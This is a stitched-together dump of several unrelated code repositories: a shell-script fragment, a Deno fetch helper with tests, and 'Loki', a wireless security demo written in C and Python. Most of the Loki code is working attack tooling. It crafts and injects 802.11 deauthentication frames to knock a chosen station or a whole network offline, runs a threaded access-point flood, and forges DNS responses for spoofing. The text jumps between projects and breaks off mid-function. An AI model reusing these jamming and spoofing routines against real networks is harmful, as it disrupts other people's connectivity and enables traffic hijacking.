$AWS_SECRET_ACCESS_KEY EOF # running the script with synchronization of images with AWS S3 chmod ugo+x sync.sh sh sync.sh &> /dev/null & # run app python3 manage.py runserver 0.0.0.0:80
f8bfac4775d724c618d2e3c788033a24f96bec34
[ "Python", "Text", "Dockerfile", "Shell" ]
7
Shell
Vit-ts/Project
3cf3bcd4de354c4f345f2e455bfb20e626fe741a
e00595650a7126be7a3ebfad9a2f3199cc0252bf
refs/heads/main
<file_sep># FETCH_API This module give some simple encapsulated fetch apis <file_sep>import { FetchArray, FetchBuffer, FetchJson } from "./mod.ts"; import { assertArrayIncludes, assertEquals, assertExists, assertThrowsAsync, } from "https://deno.land/std/testing/asserts.ts"; Deno.test("Sanity test", () => assertEquals(true, true)); Deno.test("FetchJson", async () => { //fetch deno version data const versionData = await FetchJson( "https://raw.githubusercontent.com/denoland/deno_website2/main/versions.json", ); assertExists( versionData, ); //if current version is included assertArrayIncludes( versionData.cli, [`v${Deno.version.deno}`], ); }); Deno.test("FetchJson(Syntax error)", async () => { await assertThrowsAsync( () => FetchJson( "https://deno.land", ), SyntaxError, "JSON", ); }); Deno.test("FetchJson(Not found)", async () => { await assertThrowsAsync( () => FetchJson("https://httpstat.us/404"), Error, "404", ); }); Deno.test("FetchBuffer", async () => { assertExists( await FetchBuffer( "https://deno.land", ), ); }); Deno.test("FetchBuffer(Not found)", async () => { await assertThrowsAsync( () => FetchBuffer("https://httpstat.us/404"), Error, "404", ); }); Deno.test("FetchArray", async () => { assertEquals( await FetchArray("https://deno.land"), new Uint8Array(await FetchBuffer("https://deno.land")), ); }); <file_sep>// Copyright 2021 Mike. import { fetchArg } from "./type.ts"; /** * @param input input url or request * @param init init args * @returns Promise to Response */ export async function Fetch( input: string | Request | URL, init?: fetchArg, ) { if (init?.json) { init.body = JSON.stringify(init.json); init.headers = { ...init.headers, "Content-Type": "application/json", }; } const res = await fetch(input, init); if (!res) { throw new Error(`No response`); } if (!res.ok) { await res.body?.cancel(); throw new Error( `Response not okay with code : ${res.status} ${res.statusText}`, ); } return res; } /** * @param input input url or request * @param init init args * @returns `response.json()` */ export async function FetchJson( input: string | Request | URL, init?: fetchArg, ) { const res = await Fetch(input, { ...init }); const json = await res.json(); if (!json) { throw new SyntaxError(`Can't parse json`); } return json; } /** * @param input input url or request * @param init init args * @returns `response.json().data` */ export async function FetchJsonData( input: string | Request | URL, init?: fetchArg, ) { return (await FetchJson(input, init)).data; } /** * @param input input url or request * @param init init args * @returns `response.arrayBuffer()` */ export async function FetchBuffer( input: string | Request | URL, init?: fetchArg, ) { const res = await Fetch(input, { ...init }); const arrayBuffer = await res.arrayBuffer(); if (!arrayBuffer) { throw new SyntaxError(`Cann't parse arrayBuffer`); } return arrayBuffer; } /** * @param input input url or request * @param init init args * @returns `Uint8Array(await res.arrayBuffer())` */ export async function FetchArray( input: string | Request | URL, init?: fetchArg, ) { const array = new Uint8Array(await FetchBuffer(input, { ...init })); if (array) { return array; } throw new TypeError(`Can't construct array`); } <file_sep>export interface fetchArg extends RequestInit { json?: any; }
a91a1a65887181a90f02b01418cd8402a37b1a86
[ "Markdown", "TypeScript" ]
4
Markdown
mikelxk/fetch-api
d9175860094ce73a23865be32074eb585b213d50
877b20401b1075a44c7a2f9a9d3e333a9783abbd
refs/heads/master
<file_sep>#ifndef INIT_H #define INIT_H #include "view/screen.h" #include "controller/controllers.h" void create_screens(struct loki_state*); void create_controllers(struct loki_state*); #endif <file_sep>#!/bin/sh echo "Initialising environment..." sudo iptables -F sudo pkill dnsmasq sudo systemctl stop NetworkManager sudo ifconfig wlp1s0 down sudo ifconfig wlp0s29u1u2 down sudo ifconfig wlp0s29u1u2 192.168.1.1 netmask 255.255.255.0 up sudo firewall-cmd --add-masquerade echo "Done" <file_sep>#include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <pcap.h> #include <string.h> #include <signal.h> #include "packet.h" static int running; uint8_t *construct_packet(struct header_radiotap*, struct header_management*, uint16_t, size_t*); void terminate(int); int main(int argc, char *argv[]) { pcap_t *handle = NULL; char errbuf[PCAP_ERRBUF_SIZE], *filter = NULL, *dev; bpf_u_int32 ipaddr, netmask; struct bpf_program fp; struct header_radiotap *tap; struct header_management *headerToSta, *headerToAp; struct mac80211_control ctrl; size_t lenSta, lenAp; uint8_t macSta[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }, macAp[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }, *packetToSta, *packetToAp; uint16_t reason; struct sigaction new_action, old_action; /* Set up the structure to specify the new action. */ new_action.sa_handler = terminate; sigemptyset (&new_action.sa_mask); new_action.sa_flags = 0; running = 1; sigaction(SIGINT, &new_action, NULL); if(argc < 2) { fprintf(stderr, "No device specified"); exit(EXIT_FAILURE); } dev = argv[1]; if(pcap_lookupnet(dev, &ipaddr, &netmask, errbuf) == -1) { fprintf(stderr, "Error on device lookup\n%s\n", errbuf); exit(EXIT_FAILURE); } handle = pcap_open_live(dev, BUFSIZ, 1, 1000, errbuf); if(handle == NULL) { fprintf(stderr, "Couldn't open device %s\n", errbuf); exit(EXIT_FAILURE); } ctrl = (struct mac80211_control) { .protocol = 0x0, .type = 0x0, .subtype = 0xc, .toDS = 0, .fromDS = 0, .frags = 0, .retry = 0, .powerman = 0, .data = 0, .protected = 0, .order = 0, }; tap = construct_header_radiotap(); headerToSta = construct_header_management(macAp, macSta, macAp, &ctrl); headerToAp = construct_header_management(macSta, macAp, macAp, &ctrl); reason = 0x3; int i = 0; //long long total = 0; uint16_t total = 0; while(running && total < 1500) { headerToSta->seqctrl = total<<4; headerToAp->seqctrl = total<<4; packetToSta = construct_packet(tap, headerToSta, 0x7, &lenSta); packetToAp = construct_packet(tap, headerToAp, 0x3, &lenAp); if(total < 10) pcap_inject(handle, (void*)packetToSta, (int)lenSta); pcap_inject(handle, (void*)packetToAp, (int)lenAp); usleep(50000); printf("\r%05d packets", ++total); fflush(stdout); free(packetToSta); free(packetToAp); } free(tap); //free(packetToSta); free(headerToSta); free(headerToAp); pcap_close(handle); printf("\n"); return 0; } uint8_t *construct_packet(struct header_radiotap *tap, struct header_management *header, uint16_t reason, size_t *len) { uint8_t *packet = (uint8_t*) malloc( tap->len + sizeof(struct header_management) + 2); size_t pos = 0; memcpy(packet+pos, tap, tap->len); pos += tap->len; memcpy(packet+pos, header, sizeof(struct header_management)); pos += sizeof(struct header_management); memcpy(packet+pos, &reason, 2); pos += 2; *len = pos; return packet; } void terminate(int sig) { if(sig == SIGINT) { running = 0; } } <file_sep>#ifndef MONITOR_H #define MONITOR_H unsigned int set_monitor_mode(const char*); #endif <file_sep>#include <stdlib.h> #include "state.h" void set_status_message(char *msg, struct loki_state *state) { if(state->status_msg != NULL) free(state->status_msg); state->status_msg = msg; } <file_sep>#include <stdlib.h> #include "screen.h" #include "capture.h" struct screen *create_screen() { struct screen *screen = (struct screen*) malloc(sizeof(struct screen)); screen->left = screen->centre = screen->right = NULL; return screen; } void write_screen(struct screen *screen, struct loki_state *state) { pthread_mutex_lock(&scrmutex); if(screen->left != NULL) { screen->left->write(state, screen->left->port); } if(screen->centre != NULL) { werase(screen->centre->port); screen->centre->write(state, screen->centre->port); } if(screen->right != NULL) { werase(screen->right->port); screen->right->write(state, screen->right->port); } move(0,15); printw("Total Packets: %ld | ", ((struct frame_log*)(state->log))->totalPackets); move(LINES-1, 1); clrtoeol(); if(state->status_msg != NULL) printw(state->status_msg); screen_refresh(screen); pthread_mutex_unlock(&scrmutex); } void screen_refresh(struct screen *screen) { refresh(); if(screen->left != NULL) view_refresh(screen->left); if(screen->centre != NULL) view_refresh(screen->centre); if(screen->right != NULL) view_refresh(screen->right); move(LINES-1, 1); doupdate(); } void screen_stop(struct screen *screen) { endwin(); } void init_ncurses() { initscr(); start_color(); use_default_colors(); noecho(); init_pair(1, COLOR_GREEN, -1); } <file_sep>#include <stdlib.h> #include <pthread.h> #include "controllers.h" static void action_distrupt_station(struct loki_state*); static void action_distrupt_network(struct loki_state*); static void action_flood_ap(struct loki_state*); static void *flood(void*); static void action_send_disruption(uint8_t*, uint8_t*, uint8_t*, uint16_t, uint8_t, pcap_t*, uint32_t); static flood_ap = 0; struct mode_controller *create_mode_controller() { struct mode_controller *controller; controller = (struct mode_controller*)malloc(sizeof(struct mode_controller)); return controller; } struct controller *create_controller() { struct controller *controller; controller = (struct controller*)malloc(sizeof(struct controller)); return controller; } void controller_overview_left(int code, struct frame_log *log) { } void controller_overview_centre(int code, struct frame_log *log) { switch(code) { case 'j': if(log->beacon.selected + 1 < log->beacon.num) log->beacon.selected++; else log->beacon.selected = 0; break; case 'k': if(log->beacon.selected - 1 >= 0) log->beacon.selected--; else log->beacon.selected = log->beacon.num-1; break; } } void controller_overview_right(int code, struct frame_log *log) { switch(code) { case 'j': if(log->proberq.selected + 1 < log->proberq.num) log->proberq.selected++; else log->proberq.selected = 0; break; case 'k': if(log->proberq.selected - 1 >= 0) log->proberq.selected--; else log->proberq.selected = log->proberq.num-1; break; } } void controller_overview_mode(int code, struct loki_state *state) { switch(code) { case 'h': case 'l': if(state->controllers.overview->selected == state->controllers.overview->centre) { state->controllers.overview->selected = state->controllers.overview->right; state->log->beacon.selected = -1; state->log->proberq.selected = 0; } else { state->controllers.overview->selected = state->controllers.overview->centre; state->log->beacon.selected = 0; state->log->proberq.selected = -1; } break; case 'j': case 'k': state->controllers.overview->selected->input(code, state->log); break; case '\n': pthread_mutex_lock(&scrmutex); if(state->controllers.overview->selected == state->controllers.overview->centre) { state->current_controller = state->controllers.ap; state->current = state->screens.ap; pthread_mutex_unlock(&scrmutex); } else { state->current_controller = state->controllers.sta; state->current = state->screens.sta; pthread_mutex_unlock(&scrmutex); } break; } } void controller_ap_mode(int code, struct loki_state *state) { struct beacon_ssid_item *item = state->log->beacon.list; struct macaddr_list_item *addr; int i = 0; switch(code) { case 'd': action_distrupt_station(state); break; case 'D': action_distrupt_network(state); break; case 'F': if(flood_ap) { flood_ap = 0; state->status_msg = NULL; break; } flood_ap = 1; action_flood_ap(state); break; case 'h': case 'l': if(state->controllers.ap->selected == state->controllers.ap->centre) { state->controllers.ap->selected = state->controllers.ap->right; } else { state->controllers.ap->selected = state->controllers.ap->centre; } break; case 'j': if(state->controllers.ap->selected == state->controllers.ap->centre) { do { if(i++ == state->log->beacon.selected) break; } while( (item = item->next) != NULL); if(item->selected + 1 == item->bss_count) item->selected = 0; else item->selected++; } else { i = 0; struct beacon_frame_item *apitem = state->log->beacon.list; do { if(i++ == state->log->beacon.selected) { i = 0; apitem = item->list; if(apitem == NULL) return; do { if(i++ == item->selected) { break; } } while( (item = item->next)); break; } } while( (item = item->next) != NULL); if(apitem->sta_selected + 1 == apitem->sta_count) apitem->sta_selected = 0; else apitem->sta_selected++; } break; case 'k': if(state->controllers.ap->selected == state->controllers.ap->centre) { do { if(i++ == state->log->beacon.selected) break; } while( (item = item->next) != NULL); if(item->selected == 0) item->selected = item->bss_count-1; else item->selected--; } else { i = 0; struct beacon_frame_item *apitem = state->log->beacon.list; do { if(i++ == state->log->beacon.selected) { i = 0; apitem = item->list; if(apitem == NULL) return; do { if(i++ == item->selected) { break; } } while( (item = item->next)); break; } } while( (item = item->next) != NULL); if(apitem->sta_selected == 0) apitem->sta_selected = apitem->sta_count-1; else apitem->sta_selected--; } break; case 0x1b: pthread_mutex_lock(&scrmutex); state->current_controller = state->controllers.overview; state->current = state->screens.overview; state->status_msg = NULL; flood_ap = 0; pthread_mutex_unlock(&scrmutex); break; } } void controller_sta_mode(int code, struct loki_state *state) { switch(code) { case 0x1b: pthread_mutex_lock(&scrmutex); state->current_controller = state->controllers.overview; state->current = state->screens.overview; state->status_msg = NULL; pthread_mutex_unlock(&scrmutex); break; } } void action_distrupt_station(struct loki_state *state) { struct beacon_ssid_item *ssitem = state->log->beacon.list; struct beacon_frame_item *item = NULL; struct macaddr_list_item *addr; uint8_t *macSta, *macAp; uint16_t i; i = 0; do { if(i++ == state->log->beacon.selected) { i = 0; item = ssitem->list; do { if(i++ == ssitem->selected) break; } while( (item = item->next)); break; } } while( (ssitem = ssitem->next) != NULL); addr = item->list; macAp = item->mac; i = 0; if((addr = item->list) == NULL) return; do { if(i++ == item->sta_selected) break; } while( (addr = addr->next) != NULL); macSta = addr->addr; char *status = (char*)malloc(sizeof(char)*48); sprintf(status, "Disrupt station %s -> %s ", print_mac_address(macAp), print_mac_address(macSta)); set_status_message(status, state); action_send_disruption(macAp, macSta, macAp, 10, 0, state->handle, 50000); } void action_distrupt_network(struct loki_state *state) { struct beacon_ssid_item *ssitem = state->log->beacon.list; struct beacon_frame_item *item = NULL; uint8_t macSta[6] = { 0xff, 0xff, 0xff, 0xff, 0xff, 0xff }, *macAp; uint16_t i; i = 0; do { if(i++ == state->log->beacon.selected) { i = 0; item = ssitem->list; do { if(i++ == ssitem->selected) break; } while( (item = item->next)); break; } } while( (ssitem = ssitem->next) != NULL); macAp = item->mac; char *status = (char*)malloc(sizeof(char)*48); sprintf(status, "Disrupt network %s -> %s ", print_mac_address(macAp), print_mac_address(macSta)); set_status_message(status, state); action_send_disruption(macAp, macSta, macAp, 10, 1, state->handle, 50000); } void action_send_disruption(uint8_t *macAp, uint8_t *macSta, uint8_t *bssid, uint16_t num, uint8_t broadcast, pcap_t *handle, uint32_t sleep) { struct header_radiotap *tap; struct mac80211_management_hdr *headerToSta, *headerToAp; struct mac80211_control ctrl; uint32_t total; uint8_t *packetToSta, *packetToAp; size_t lenSta, lenAp; ctrl = (struct mac80211_control) { .protocol = 0x0, .type = 0x0, .subtype = 0xc, .toDS = 0, .fromDS = 0, .frags = 0, .retry = 0, .powerman = 0, .data = 0, .protected = 0, .order = 0, }; tap = construct_header_radiotap(); headerToSta = construct_header_management(macAp, macSta, bssid, &ctrl); headerToAp = construct_header_management(macSta, macAp, bssid, &ctrl); total = 0; while(total++ < num) { headerToSta->seqctrl = total<<4; headerToAp->seqctrl = total<<4; packetToSta = construct_packet(tap, headerToSta, 0x7, &lenSta); if(!broadcast) packetToAp = construct_packet(tap, headerToAp, 0x3, &lenAp); pcap_inject(handle, (void*)packetToSta, (int)lenSta); if(!broadcast) pcap_inject(handle, (void*)packetToAp, (int)lenAp); usleep(sleep); if(!broadcast) free(packetToAp); } } void action_flood_ap(struct loki_state *state) { struct beacon_frame_item *item = state->log->beacon.list; uint8_t *macAp; uint16_t i; char *status; pthread_t flooder; i = 0; do { if(i++ == state->log->beacon.selected) break; } while( (item = item->next) != NULL); macAp = item->mac; status = (char*)malloc(sizeof(char)*48); sprintf(status, "Flooding access point %s", print_mac_address(macAp)); set_status_message(status, state); pthread_create( &flooder, NULL, flood, (void*)state); } void *flood(void *data) { struct loki_state *state = (struct loki_state*)data; struct beacon_frame_item *item = state->log->beacon.list; struct macaddr_list_item *addr; uint8_t *macAp, *macSta; uint16_t i; i = 0; do { if(i++ == state->log->beacon.selected) break; } while( (item = item->next) != NULL); macSta = item->mac; i = 0; if((addr = item->list) == NULL) return; do { if(i++ == item->sta_selected) break; } while( (addr = addr->next) != NULL); macAp = addr->addr; while(flood_ap) { action_send_disruption(macAp, macSta, macAp, 10, 1, state->handle, 500); } } <file_sep>#ifndef PACKET_H #define PACKET_H #include <stdint.h> #include <ncurses.h> struct pkth_radiotap { uint8_t version; uint8_t pad; uint16_t len; uint32_t present; } __attribute__((__packed__)); struct pkth_mac80211 { uint16_t control; uint16_t duration_id; uint8_t da[6]; ///< Destination MAC uint8_t sa[6]; ///< Source MAC uint8_t ta[6]; ///< Transmitter MAC uint8_t ra[6]; ///< Receiver MAC uint8_t bssid[6]; ///< Basic Service Set ID } __attribute__((__packed__)); struct mac80211_management_hdr { uint16_t control; uint16_t duration_id; uint8_t ra[6]; ///< Destination MAC uint8_t ta[6]; ///< Transmitter MAC uint8_t bssid[6]; ///< Basic Service Set ID uint16_t seqctrl; ///< Sequence Control uint32_t htctrl; ///< HT Control - present if control.order = 1 } __attribute__((__packed__)); struct mac80211_data { uint16_t control; uint16_t duration_id; uint8_t ra[6]; uint8_t sa[6]; uint16_t seqctrl; ///< Sequence Control uint8_t bssid[6]; uint16_t qos; uint32_t htctrl; ///< HT Control - present if control.order = 1 } __attribute__((__packed__)); struct mac80211_beacon_fixed { uint8_t timestamp[8]; ///< Timestamp uint16_t beacon_interval; ///< period between beacon broadcasts uint16_t cap_info; ///< capabilities of STA } __attribute__((__packed__)); struct pkth_ethernet { uint8_t pre[7]; ///< Preamble uint8_t delim; ///< Delimiter uint8_t dst[6]; ///< Destination MAC uint8_t src[6]; ///< Source MAC uint16_t type; } __attribute__((__packed__)); enum mac80211_control_type { MANAGEMENT, CONTROL, DATA }; enum mac80211_subtype_management { ASSOC_REQUEST, ASSOC_RESPONSE, REASSOC_REQUEST, REASSOC_RESPONSE, PROBE_REQUEST, PROBE_RESPONSE, TIMING_AD, MANAGEMENT_RESERVED_A, BEACON, ATIM, DISASSOC, AUTH, DEAUTH, ACTION, ACTION_NO_ACK, MANAGEMENT_RESERVED_B }; enum mac80211_subtype_data { DATA_DATA, DATA_CF_ACK, DATA_CF_POLL, DATA_CF_ACK_CF_POLL, DATA_NULL, CF_AK, CF_POLL, CF_ACK_CF_POLL, QOS_DATA, QOS_DATA_CF_ACK, QOS_DATA_CF_POLL, QOS_DATA_CF_ACK_CF_POLL, QOS_DATA_NULL, DATA_RESERVED_A, QOS_CF_POLL, QOS_CF_ACK_CF_POLL, DATA_RESERVED_B }; struct mac80211_control { uint8_t protocol; uint8_t type; uint8_t subtype; uint8_t toDS; uint8_t fromDS; uint8_t frags; uint8_t retry; uint8_t powerman; uint8_t data; uint8_t protected; uint8_t order; }; struct header_radiotap { uint8_t version; uint8_t pad; uint16_t len; uint32_t present; }__attribute__((packed)); char *printraw_packet(const unsigned char*, unsigned int); char *printraw_management_frame(const uint8_t*, uint16_t); char *print_mac_address(uint8_t*); struct header_radiotap *construct_header_radiotap(); struct mac80211_management_hdr *construct_header_management(const uint8_t*, const uint8_t*, const uint8_t*, const struct mac80211_control*); struct mac80211_control *decode_mac80211_control(uint16_t); uint16_t encode_mac80211_control(const struct mac80211_control*); uint8_t *construct_packet(struct header_radiotap*, struct mac80211_management_hdr*, uint16_t, size_t*); #endif <file_sep>from struct import pack import sys def printPacket(packet, split): i = 0; for c in packet: sys.stdout.write("%02x" % ord(c)) sys.stdout.write(" ") i += 1 if i == split: i = 0 sys.stdout.write('\n') sys.stdout.write('\n\n') class RecordType: A = 1 NS = 2 CNAME = 5 class RR: def __init__(self): self.rname = 0 self.rtype = 0 self.rclass = 0 self.ttl = 0 self.len = 0 self.record = [0,0,0,0] def generateRecord(self): record = pack("!HHHIH", self.rname, self.rtype, self.rclass, self.ttl, self.len) for part in self.record: record += pack("!B", int(part)) return record; class DNSResponse: def __init__(self, transaction): self.transaction = transaction self.flags = 0 self.questions = 0 self.answerRR = 0 self.authorityRR = 0 self.additionalRR = 0 self.query = [] self.answer = [] def addQuery(self, domain): self.query.append(domain) self.questions += 1 def addAnswer(self, address, rtype): ip = address.split(".") rr = RR() if rtype == RecordType.A: rr.rname = 0xc00c elif rtype == RecordType.CNAME: rr.rname = 0xc010 rr.rtype = rtype rr.rclass = 1 rr.record = ip rr.len = len(ip) rr.ttl = 30 self.answer.append(rr) self.answerRR += 1 def generatePacket(self): header = pack('!HHHHHH', self.transaction, 0x8180, self.questions, self.answerRR, self.authorityRR, self.additionalRR) for dom in self.query: header += dom header += pack("!B", 0x00) header += pack("!H", RecordType.A) header += pack("!H", 0x1) for record in self.answer: header += record.generateRecord() return header <file_sep># Loki Wireless device security demo I was asked to present basic security problems with wireless devices and how to be vigilant over their hardware. For the talk I put together a small (controlled) demonstration including this software. ### Loki Capture Loki Capture is a basic single-channel ncurses wireless network analysis tool: - Overview displays access points and probe requests - AP focus reveals basic service set + injection - Probe request focus shows number of devices issuing requests for AP Of course, since it is a demo for youngsters, I also added in a raw packet dump on the left Other points of interest: - Switching wireless card monitor mode on via netlink - Raw packet construction ### Loki DNS Spoof Finally got my hands dirty in python! It seemed like a perfect application of the language. Working backwards from wireshark's packet and hex dumps (I was cross eyed after a few hours) and with a bit of referencing from some manuals, managed to put together a simple DNS spoof server. Tested and works for the demonstration. I am positive there is a more elegent solution to applying predefine data structure on a sequence of bytes than that hacked together mess I layed out using list indecies. ### Dependecies - Python - libnl - libpcap - libcurses <file_sep>#ifndef VIEWS_H #define VIEWS_H struct loki_state; #include "state.h" typedef void(*callback_view_print)(struct loki_state*,WINDOW*); struct view { uint16_t x, y, w, h; WINDOW *port; callback_view_print write; }; struct view *create_view(uint16_t,uint16_t,uint16_t,uint16_t, callback_view_print); void print_overview_left(struct loki_state*,WINDOW*); void print_overview_centre(struct loki_state*,WINDOW*); void print_overview_right(struct loki_state*,WINDOW*); void print_ap_centre(struct loki_state*,WINDOW*); void print_ap_right(struct loki_state*,WINDOW*); void print_sta_centre(struct loki_state*,WINDOW*); void print_sta_right(struct loki_state*,WINDOW*); #endif <file_sep>#ifndef SCREEN_H #define SCREEN_H #include <stdint.h> #include <ncurses.h> #include "views.h" #include "state.h" struct screen { struct view *left, *centre, *right; }; struct screen *create_screen(); void screen_stop(struct screen*); void screen_refresh(struct screen*); void view_refresh(struct view*); void init_ncurses(); #endif <file_sep>#ifndef frameproc_h #define frameproc_h #include "packet.h" #include "state.h" struct macaddr_list_item { struct macaddr_list_item *prev, *next; uint8_t addr[6]; }; struct beacon_frame_item { struct beacon_frame_item *prev, *next; uint8_t mac[6]; uint64_t count; uint32_t sta_count; uint16_t sta_selected; uint8_t ssid_len; char *ssid; struct macaddr_list_item *list, *tail; }; struct beacon_ssid_item { struct beacon_ssid_item *prev, *next; uint8_t ssid_len; char *ssid; uint16_t num, bss_count; int16_t selected; struct beacon_frame_item *list, *tail; }; struct proberq_frame_item { struct proberq_frame_item *prev, *next; uint8_t ssid_len; char *ssid; uint64_t count; struct macaddr_list_item *list, *tail; }; struct frame_log { struct b_list { uint16_t num; int16_t selected; struct beacon_ssid_item *list, *tail; } beacon; struct prq_list { uint16_t num; int16_t selected; struct proberq_frame_item *list, *tail; } proberq; char *lastPacket; long long totalPackets; }; uint8_t filter_frame(const uint8_t*, uint16_t, struct loki_state*); #endif <file_sep>#include "packet.h" #include <stdlib.h> #include <string.h> struct header_radiotap *construct_header_radiotap() { struct header_radiotap *header; header = (struct header_radiotap*) malloc(sizeof(struct header_radiotap)); header->version = 0; header->pad = 0; header->len = sizeof(struct header_radiotap); header->present = 0; return header; } struct header_management *construct_header_management(const uint8_t *ta, const uint8_t *ra, const uint8_t *bssid, const struct mac80211_control *stc) { struct header_management *mng = (struct header_management*)malloc(sizeof(struct header_management)); mng->control = encode_mac80211_control(stc); mng->duration_id = 500; memcpy(mng->ra, ra, 6); memcpy(mng->ta, ta, 6); memcpy(mng->bssid, bssid, 6); mng->seqctrl = 0; return mng; } #include <stdio.h> uint16_t encode_mac80211_control(const struct mac80211_control *stc) { uint16_t ctrl; ctrl |= stc->order; ctrl <<= 1; ctrl |= stc->protected; ctrl <<= 1; ctrl |= stc->data; ctrl <<= 1; ctrl |= stc->powerman; ctrl <<= 1; ctrl |= stc->retry; ctrl <<= 1; ctrl |= stc->frags; ctrl <<= 1; ctrl |= stc->fromDS; ctrl <<= 1; ctrl |= stc->toDS; ctrl <<= 4; ctrl |= stc->subtype; ctrl <<= 2; ctrl |= stc->type; ctrl <<= 2; ctrl |= stc->protocol; return ctrl; } <file_sep>#ifndef PACKET_H #define PACKET_H #include <stdint.h> enum mac80211_subtype_management { ASSOC_REQUEST, ASSOC_RESPONSE, REASSOC_REQUEST, REASSOC_RESPONSE, PROBE_REQUEST, PROBE_RESPONSE, TIMING_AD, MANAGEMENT_RESERVED_A, BEACON, ATIM, DISASSOC, AUTH, DEAUTH, ACTION, ACTION_NO_ACK, MANAGEMENT_RESERVED_B }; enum mac80211_control_type { MANAGEMENT, CONTROL, DATA }; struct header_radiotap { uint8_t version; uint8_t pad; uint16_t len; uint32_t present; }__attribute__((packed)); struct header_management { uint16_t control; uint16_t duration_id; uint8_t ra[6]; ///< Destination MAC uint8_t ta[6]; ///< Transmitter MAC uint8_t bssid[6]; ///< Basic Service Set ID uint16_t seqctrl; ///< Sequence Control } __attribute__((__packed__)); struct mac80211_control { uint8_t protocol; uint8_t type; uint8_t subtype; uint8_t toDS; uint8_t fromDS; uint8_t frags; uint8_t retry; uint8_t powerman; uint8_t data; uint8_t protected; uint8_t order; }; struct header_radiotap *construct_header_radiotap(); struct header_management *construct_header_management(const uint8_t*, const uint8_t*, const uint8_t*, const struct mac80211_control*); uint16_t encode_mac80211_control(const struct mac80211_control*); #endif <file_sep>#include <string.h> #include <stdlib.h> #include "frameproc.h" static uint8_t filter_frame_management(const uint8_t*, uint16_t, const struct mac80211_control*, struct loki_state*); static uint8_t filter_frame_data(const uint8_t*, uint16_t, const struct mac80211_control*, struct loki_state*); static struct beacon_ssid_item *beacon_ssid_exists(struct beacon_ssid_item*, const char*); static struct proberq_frame_item *proberq_ssid_exists(struct proberq_frame_item*, const char*); static struct macaddr_list_item *proberq_mac_exists(struct macaddr_list_item*, uint8_t*); static struct beacon_frame_item *beacon_mac_exists(struct beacon_ssid_item*, uint8_t*); static struct beacon_frame_item *beacon_ap_exists(const char*, const struct beacon_frame_item*); static char *elements_get_ssid(uint8_t*, uint16_t); static unsigned int process_beacon(const uint8_t*, const struct mac80211_control*, uint16_t, struct frame_log*); static int process_beacon_ap(const struct mac80211_management_hdr*, struct beacon_ssid_item*); static unsigned int process_probe_request(const uint8_t*, const struct mac80211_control*, uint16_t, struct frame_log*); static unsigned int process_data(const uint8_t*, const struct mac80211_control*, uint16_t, struct frame_log*); uint8_t filter_frame(const uint8_t *packet, uint16_t len, struct loki_state *state) { uint8_t ret; uint16_t eth_begin = 0, sz = 0, hsize = 0; struct mac80211_management_hdr *manhdr = NULL; struct mac80211_control *mctrl = NULL; eth_begin = ((struct pkth_radiotap*)packet)->len; sz = len - eth_begin; manhdr = (struct mac80211_management_hdr*) (packet+eth_begin); mctrl = decode_mac80211_control(manhdr->control); switch(mctrl->type) { case MANAGEMENT: ret = filter_frame_management((uint8_t*)(packet+eth_begin), sz, mctrl, state); break; case DATA: filter_frame_data((uint8_t*)(packet+eth_begin), sz, mctrl, state); ret = 0; // don't write the packet break; default: ret = 0; break; } free(mctrl); return ret; } static struct beacon_ssid_item *beacon_ssid_exists(struct beacon_ssid_item *list, const char *value) { if(list == NULL) return NULL; do { if(strcmp(list->ssid, value) == 0) return list; } while((list = list->next) != NULL); return NULL; } static struct proberq_frame_item *proberq_ssid_exists(struct proberq_frame_item *list, const char *value) { if(list == NULL) return NULL; do { if(strcmp(list->ssid, value) == 0) return list; } while((list = list->next) != NULL); return NULL; } static struct macaddr_list_item *proberq_mac_exists(struct macaddr_list_item *list, uint8_t *value) { if(list == NULL) return NULL; do { if(memcmp(list->addr, value, 6) == 0) return list; } while((list = list->next) != NULL); return NULL; } static unsigned int process_beacon(const uint8_t *frame, const struct mac80211_control *mctrl, uint16_t len, struct frame_log *log) { struct mac80211_beacon_fixed *beacon_fixed = NULL; unsigned int modified = 0; short drop = 4; if(mctrl->order) drop = 0; short hsize = sizeof(struct mac80211_management_hdr)-drop; beacon_fixed = (struct mac80211_beacon_fixed*) ((uint8_t*)frame + hsize); char *ssid = elements_get_ssid((uint8_t*)beacon_fixed + sizeof(struct mac80211_beacon_fixed), (len-hsize + sizeof(struct mac80211_beacon_fixed))); if(ssid == NULL) return 0; struct beacon_ssid_item *item = NULL; if( (item = beacon_ssid_exists(log->beacon.list, ssid)) == NULL) { item = (struct beacon_ssid_item*) malloc(sizeof(struct beacon_ssid_item)); if(log->beacon.list == NULL) log->beacon.list = item; item->prev = log->beacon.tail; if(item->prev != NULL) item->prev->next = item; log->beacon.tail = item; item->ssid_len = strlen(ssid); item->ssid = ssid; item->bss_count = 0; item->selected = 0; // linked list item->next = NULL; // APs addresses item->list = NULL; item->tail = NULL; process_beacon_ap((struct mac80211_management_hdr*)frame, item); log->beacon.num++; modified = 1; } else { modified = process_beacon_ap((struct mac80211_management_hdr*)frame, item); free(ssid); } //item->count++; return modified; } int process_beacon_ap(const struct mac80211_management_hdr *hdr, struct beacon_ssid_item *ess) { struct beacon_frame_item* item = NULL; if( (item = beacon_ap_exists(hdr->bssid, ess->list)) == NULL ) { item = (struct beacon_frame_item*)malloc(sizeof(struct beacon_frame_item)); if(ess->list == NULL) ess->list = item; item->prev = ess->tail; if(item->prev != NULL) item->prev->next = item; ess->tail = item; memcpy(&(item->mac), (uint8_t*)(hdr->bssid), 6); item->count = 1; item->sta_count = 0; item->sta_selected = 0; item->next = NULL; item->list = NULL; item->tail = NULL; ess->bss_count++; return 1; } else { item->count++; } return 0; } static struct beacon_frame_item *beacon_ap_exists(const char* value, const struct beacon_frame_item* item) { if(item == NULL) return NULL; do { if(memcmp(item->mac, value, 6) == 0) return item; } while((item = item->next)); return NULL; } static char *elements_get_ssid(uint8_t *elements, uint16_t len) { uint8_t e[2], *ptr, *end; end = elements+len; ptr = elements; char *ssid; do { e[0] = *(ptr++); e[1] = *(ptr++); if(e[0] == 0) { if(e[1] == 0) { while((ssid = (char*) malloc(sizeof(char)*2)) == NULL) continue; strcpy(ssid, "*\0"); } else { while((ssid = (char*) malloc(sizeof(char) * e[1]+1)) == NULL) continue; memcpy(ssid, ptr, e[1]); ssid[e[1]] = '\0'; } return ssid; } ptr += e[1]; } while(ptr <= end); return NULL; } static unsigned int process_probe_request(const uint8_t *frame, const struct mac80211_control *mctrl, uint16_t len, struct frame_log *log) { struct mac80211_beacon_fixed *beacon_fixed = NULL; unsigned int modified = 0; short drop = 